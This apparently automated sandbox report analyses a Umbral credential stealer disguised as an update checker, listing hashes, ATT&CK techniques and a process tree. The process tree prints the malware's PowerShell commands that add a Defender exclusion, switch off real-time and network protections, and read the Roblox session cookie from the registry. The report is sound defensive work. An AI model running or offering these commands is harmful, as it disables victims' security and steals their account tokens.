umbral | 4b64b08789791f49a88c79ad4c0eae5628fe7547489f958312f53c95f23403ff

Analysis

max time kernel
147s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12-08-2024 09:36

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General

Target

citrontoppest/citrontoppest/citrontoppest/updatechecker/updatecheckercitron.exe
Size

227KB
MD5

a6db1722b4ed09cd06fbdf6f80df47da
SHA1

1fe86fceb4884cb37c4187591ccecd7a4c4d9c15
SHA256

ed1deb13b32c20b6cd35d50351c78d3729315dac5da6f5795dae2c14bed8520b
SHA512

61542031f6f60fca814400c9ec21c0eefa15422646c30b5b3192231a4d5a5845681f7d619818fa0c7c448f860101790d7971c80aa90637e58956b33023079785
SSDEEP

6144:+loZMLrIkd8g+EtXHkv/iD4cYiL+cCFdWQj+ctBIpHb8e1mUi:ooZ0L+EP8cYiL+cCFdWQj+ctBIhK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral6/memory/4808-1-0x000001EFF39B0000-0x000001EFF39F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3556	powershell.exe
4172	powershell.exe
1968	powershell.exe
760	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updatecheckercitron.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
28	discord.com
29	discord.com
32	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1788	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4808	updatecheckercitron.exe
3556	powershell.exe
3556	powershell.exe
4172	powershell.exe
4172	powershell.exe
1968	powershell.exe
1968	powershell.exe
2556	powershell.exe
2556	powershell.exe
760	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4808	updatecheckercitron.exe
Token: SeIncreaseQuotaPrivilege	3416	wmic.exe
Token: SeSecurityPrivilege	3416	wmic.exe
Token: SeTakeOwnershipPrivilege	3416	wmic.exe
Token: SeLoadDriverPrivilege	3416	wmic.exe
Token: SeSystemProfilePrivilege	3416	wmic.exe
Token: SeSystemtimePrivilege	3416	wmic.exe
Token: SeProfSingleProcessPrivilege	3416	wmic.exe
Token: SeIncBasePriorityPrivilege	3416	wmic.exe
Token: SeCreatePagefilePrivilege	3416	wmic.exe
Token: SeBackupPrivilege	3416	wmic.exe
Token: SeRestorePrivilege	3416	wmic.exe
Token: SeShutdownPrivilege	3416	wmic.exe
Token: SeDebugPrivilege	3416	wmic.exe
Token: SeSystemEnvironmentPrivilege	3416	wmic.exe
Token: SeRemoteShutdownPrivilege	3416	wmic.exe
Token: SeUndockPrivilege	3416	wmic.exe
Token: SeManageVolumePrivilege	3416	wmic.exe
Token: 33	3416	wmic.exe
Token: 34	3416	wmic.exe
Token: 35	3416	wmic.exe
Token: 36	3416	wmic.exe
Token: SeIncreaseQuotaPrivilege	3416	wmic.exe
Token: SeSecurityPrivilege	3416	wmic.exe
Token: SeTakeOwnershipPrivilege	3416	wmic.exe
Token: SeLoadDriverPrivilege	3416	wmic.exe
Token: SeSystemProfilePrivilege	3416	wmic.exe
Token: SeSystemtimePrivilege	3416	wmic.exe
Token: SeProfSingleProcessPrivilege	3416	wmic.exe
Token: SeIncBasePriorityPrivilege	3416	wmic.exe
Token: SeCreatePagefilePrivilege	3416	wmic.exe
Token: SeBackupPrivilege	3416	wmic.exe
Token: SeRestorePrivilege	3416	wmic.exe
Token: SeShutdownPrivilege	3416	wmic.exe
Token: SeDebugPrivilege	3416	wmic.exe
Token: SeSystemEnvironmentPrivilege	3416	wmic.exe
Token: SeRemoteShutdownPrivilege	3416	wmic.exe
Token: SeUndockPrivilege	3416	wmic.exe
Token: SeManageVolumePrivilege	3416	wmic.exe
Token: 33	3416	wmic.exe
Token: 34	3416	wmic.exe
Token: 35	3416	wmic.exe
Token: 36	3416	wmic.exe
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4588	wmic.exe
Token: SeSecurityPrivilege	4588	wmic.exe
Token: SeTakeOwnershipPrivilege	4588	wmic.exe
Token: SeLoadDriverPrivilege	4588	wmic.exe
Token: SeSystemProfilePrivilege	4588	wmic.exe
Token: SeSystemtimePrivilege	4588	wmic.exe
Token: SeProfSingleProcessPrivilege	4588	wmic.exe
Token: SeIncBasePriorityPrivilege	4588	wmic.exe
Token: SeCreatePagefilePrivilege	4588	wmic.exe
Token: SeBackupPrivilege	4588	wmic.exe
Token: SeRestorePrivilege	4588	wmic.exe
Token: SeShutdownPrivilege	4588	wmic.exe
Token: SeDebugPrivilege	4588	wmic.exe
Token: SeSystemEnvironmentPrivilege	4588	wmic.exe
Token: SeRemoteShutdownPrivilege	4588	wmic.exe
Token: SeUndockPrivilege	4588	wmic.exe
Token: SeManageVolumePrivilege	4588	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 3416	4808	updatecheckercitron.exe	87
PID 4808 wrote to memory of 3416	4808	updatecheckercitron.exe	87
PID 4808 wrote to memory of 3556	4808	updatecheckercitron.exe	90
PID 4808 wrote to memory of 3556	4808	updatecheckercitron.exe	90
PID 4808 wrote to memory of 4172	4808	updatecheckercitron.exe	92
PID 4808 wrote to memory of 4172	4808	updatecheckercitron.exe	92
PID 4808 wrote to memory of 1968	4808	updatecheckercitron.exe	94
PID 4808 wrote to memory of 1968	4808	updatecheckercitron.exe	94
PID 4808 wrote to memory of 2556	4808	updatecheckercitron.exe	96
PID 4808 wrote to memory of 2556	4808	updatecheckercitron.exe	96
PID 4808 wrote to memory of 4588	4808	updatecheckercitron.exe	98
PID 4808 wrote to memory of 4588	4808	updatecheckercitron.exe	98
PID 4808 wrote to memory of 2472	4808	updatecheckercitron.exe	100
PID 4808 wrote to memory of 2472	4808	updatecheckercitron.exe	100
PID 4808 wrote to memory of 1448	4808	updatecheckercitron.exe	102
PID 4808 wrote to memory of 1448	4808	updatecheckercitron.exe	102
PID 4808 wrote to memory of 760	4808	updatecheckercitron.exe	104
PID 4808 wrote to memory of 760	4808	updatecheckercitron.exe	104
PID 4808 wrote to memory of 1788	4808	updatecheckercitron.exe	106
PID 4808 wrote to memory of 1788	4808	updatecheckercitron.exe	106

C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe
"C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2472
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2f995e50613f828ddc321e8d37fdb01a

SHA1
b0883951336ac0719c4927eb03d2577b8475931a

SHA256
7360aa4436f23a39cb14e9cc053c85a4f35e4258c0b9b7b6c89c7e996c3f7f32

SHA512
39f75d156e6e4c0cdc7f15afc38983b4139ed0b033433b3271cca639722a7dbb87a455c36c077f34153c7128e2851e93a9c2ce2f3af03874d390a6cee607491d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftt2ykk2.c0u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/760-87-0x000001A9382E0000-0x000001A9382FE000-memory.dmp

Filesize
120KB

Download
memory/760-86-0x000001A938280000-0x000001A938299000-memory.dmp

Filesize
100KB

Download
memory/3556-14-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3556-15-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3556-18-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/3556-8-0x0000022564490000-0x00000225644B2000-memory.dmp

Filesize
136KB

Download
memory/3556-13-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/4808-34-0x000001EFF60D0000-0x000001EFF6120000-memory.dmp

Filesize
320KB

Download
memory/4808-0-0x00007FFE0C493000-0x00007FFE0C495000-memory.dmp

Filesize
8KB

Download
memory/4808-1-0x000001EFF39B0000-0x000001EFF39F0000-memory.dmp

Filesize
256KB

Download
memory/4808-71-0x000001EFF5F70000-0x000001EFF5F7A000-memory.dmp

Filesize
40KB

Download
memory/4808-72-0x000001EFF5FA0000-0x000001EFF5FB2000-memory.dmp

Filesize
72KB

Download
memory/4808-35-0x000001EFF6120000-0x000001EFF613E000-memory.dmp

Filesize
120KB

Download
memory/4808-33-0x000001EFF6150000-0x000001EFF61C6000-memory.dmp

Filesize
472KB

Download
memory/4808-2-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download
memory/4808-89-0x000001EFF61D0000-0x000001EFF61F4000-memory.dmp

Filesize
144KB

Download
memory/4808-93-0x00007FFE0C490000-0x00007FFE0CF51000-memory.dmp

Filesize
10.8MB

Download